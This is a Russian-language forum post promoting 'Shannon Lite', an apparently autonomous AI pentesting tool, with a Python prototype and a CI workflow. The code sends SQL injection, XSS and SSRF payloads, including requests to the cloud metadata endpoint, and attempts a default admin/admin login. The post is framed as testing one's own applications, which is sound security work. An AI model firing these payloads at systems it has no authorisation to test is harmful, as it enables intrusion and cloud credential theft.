Mr.Dark
Активный пользователь
- Регистрация
- 01.06.2025
- Сообщения
- 8 075
- Реакции
- 6 987
- Баллы
- 113

🛡 Shannon Lite: AI-пентестер, который ломает твой код до продакшена
Shannon Lite — автономный white-box AI-пентестер для веб-приложений и API. В отличие от классических SAST/DAST-инструментов, он не ищет уязвимости по шаблонам, а читает исходный код, понимает логику приложения и сразу эксплуатирует найденные векторы атак в реальном окружении.
Ключевая идея: «Нет эксплойта — нет уязвимости». В отчёт попадают только проблемы, которые удалось реально воспроизвести с работающим Proof-of-Concept. Никаких ложных срабатываний.
Ключевая идея: «Нет эксплойта — нет уязвимости». В отчёт попадают только проблемы, которые удалось реально воспроизвести с работающим Proof-of-Concept. Никаких ложных срабатываний.
- Слой 1: Статический анализ исходного кода (White-Box Taint Tracking)
- Агент загружает репозиторий (-r /path/to/repo) и строит AST для JS/TS/Python/Go/Java.
- Определяет источники (Sources): req.body.userInput, req.query.id, req.headers['x-forwarded-host'], ctx.params.
- Определяет приёмники (Sinks): eval(), child_process.exec(), fs.readFile(), db.raw(), fetch(), res.send().
- Строит граф потока данных и отслеживает, как пользовательский ввод достигает опасной функции.
- Учитывает санитайзеры (sanitizeHtml(), DOMPurify), чтобы не тратить время на защищённые участки.
- Слой 2: Динамическая эксплуатация через браузер (Playwright)
- Запускается headful-браузер с полной эмуляцией действий пользователя.
- Автономный обход аутентификации: заполнение форм, обработка 2FA (поиск полей input name="code", интеграция с TOTP/IMAP).
- Обход интерфейса: клики по ссылкам, заполнение и отправка форм, навигация по SPA с ожиданием загрузки.
- Параллельно агент дёргает внутренние API напрямую через fetch или axios, используя куки и токены из сессии.
- Слой 3: Активная эксплуатация (Proof-Based Attack)
- XSS: внедрение <script>alert('XSS')</script> и проверка появления диалогового окна.
- SSRF: попытка заставить сервер обратиться к коллаборатору с уникальным идентификатором.
- SQL Injection: внедрение ' OR SLEEP(5)-- - и замер времени ответа; также UNION-запросы.
- Обход аутентификации: доступ к защищённым эндпоинтам без кук, манипуляции с JWT (алгоритм none, подмена kid).
- Command Injection: внедрение ; ls или | dir и анализ ответа на наличие вывода команд.
- Слой 4: Генерация отчёта с PoC
- В отчёт попадают только подтверждённые уязвимости с воспроизводимыми шагами.
- Для каждой уязвимости: HTTP-запрос/ответ, скриншот, готовый эксплойт (curl или скрипт).
- Отчёт доступен в форматах HTML, PDF и JSON (для интеграции в CI/CD).
Одна команда — и Shannon Lite выполняет полный цикл тестирования без участия человека.
- Сканирует поверхность атаки (nmap, subfinder, whatweb) — результаты расширяют контекст.
- Проходит аутентификацию (включая 2FA) и сохраняет сессию.
- Исследует интерфейс, кликая по всем элементам и перехватывая XHR-запросы.
- Параллельно анализирует исходный код и строит граф потоков данных.
- Сопоставляет динамические эндпоинты с потоками из кода и проводит целенаправленные атаки.
- Формирует отчёт только с подтверждёнными проблемами.
Код:
#!/usr/bin/env python3
"""
Shannon Lite Core - Полноценный прототип AI-пентестера.
Требования: pip install playwright requests
playwright install chromium
"""
import os, re, time, requests
from urllib.parse import urljoin, quote
from playwright.sync_api import sync_playwright
class ShannonLite:
def __init__(self, target_url, repo_path):
self.target_url = target_url
self.repo_path = repo_path
self.session = requests.Session()
self.vulnerabilities = []
def analyze_source(self):
flows = []
for root, _, files in os.walk(self.repo_path):
for f in files:
if not f.endswith(('.js', '.py', '.ts')): continue
path = os.path.join(root, f)
with open(path, 'r', encoding='utf-8', errors='ignore') as file:
content = file.read()
sources = re.findall(r'(?:req\.query|req\.body|request\.args\.get|req\.params)\[?[\'"]([\w-]+)[\'"]?\]?', content)
sinks = []
if re.search(r'\.execute\(|\.raw\(|db\.query\(', content): sinks.append('sql')
if re.search(r'\.send\(|\.html\(|dangerouslySetInnerHTML', content): sinks.append('xss')
if re.search(r'fetch\(|axios\.|requests\.get\(', content): sinks.append('ssrf')
for sink in sinks:
for src in set(sources):
flows.append({'file': path, 'param': src, 'type': sink})
return flows
def exploit_sqli(self, url, param):
payload = "' OR SLEEP(5)-- -"
full_url = f"{url}?{param}={quote(payload)}"
start = time.time()
try:
self.session.get(full_url, timeout=10)
if time.time() - start > 4.5:
return True, payload
except: pass
return False, None
def exploit_xss(self, url, param):
with sync_playwright() as p:
browser = p.chromium.launch(headless=True)
page = browser.new_page()
triggered = False
def on_dialog(dialog):
nonlocal triggered
triggered = True
dialog.dismiss()
page.on('dialog', on_dialog)
payload = "<img src=x onerror=alert('XSS_SHANNON')>"
page.goto(f"{url}?{param}={quote(payload)}", timeout=5000)
page.wait_for_timeout(1500)
browser.close()
return triggered, payload
def exploit_ssrf(self, url, param):
payload = "http://169.254.169.254/latest/meta-data/"
full_url = f"{url}?{param}={quote(payload)}"
try:
resp = self.session.get(full_url, timeout=5)
if 'ami-id' in resp.text or 'instance-id' in resp.text:
return True, payload
except: pass
return False, None
def auto_login(self, username="admin", password="admin"):
with sync_playwright() as p:
browser = p.chromium.launch(headless=False)
page = browser.new_page()
page.goto(urljoin(self.target_url, '/login'))
page.fill('input[name="username"]', username)
page.fill('input[name="password"]', password)
page.click('button[type="submit"]')
page.wait_for_load_state('networkidle')
if page.is_visible('input[name="code"]'):
page.fill('input[name="code"]', '123456')
page.click('button:has-text("Verify")')
page.wait_for_timeout(2000)
cookies = page.context.cookies()
browser.close()
for c in cookies:
self.session.cookies.set(c['name'], c['value'])
def run(self):
flows = self.analyze_source()
self.auto_login()
for flow in flows:
url = urljoin(self.target_url, '/api/data')
if flow['type'] == 'sql':
ok, p = self.exploit_sqli(url, flow['param'])
if ok: self.vulnerabilities.append({'type':'SQLi','url':url,'payload':p})
elif flow['type'] == 'xss':
ok, p = self.exploit_xss(url, flow['param'])
if ok: self.vulnerabilities.append({'type':'XSS','url':url,'payload':p})
elif flow['type'] == 'ssrf':
ok, p = self.exploit_ssrf(url, flow['param'])
if ok: self.vulnerabilities.append({'type':'SSRF','url':url,'payload':p})
return self.vulnerabilities
if __name__ == '__main__':
import sys, json
if len(sys.argv) < 3:
print("Запуск: python shannon.py <url> <repo_path>")
sys.exit(1)
shannon = ShannonLite(sys.argv[1], sys.argv[2])
results = shannon.run()
print(json.dumps(results, indent=2))
Код:
# Установка зависимостей
pip install playwright requests
playwright install chromium
# Запуск сканирования
python shannon.py https://your-app.com /path/to/source/code
Код:
name: Shannon Lite Scan
on: [push]
jobs:
security:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- uses: actions/setup-python@v4
with:
python-version: '3.10'
- name: Install dependencies
run: |
pip install playwright requests
playwright install chromium
- name: Run Shannon Lite
run: python shannon.py https://staging.example.com ./
Shannon Lite — найди и сломай свой код до того, как это сделает злоумышленник.

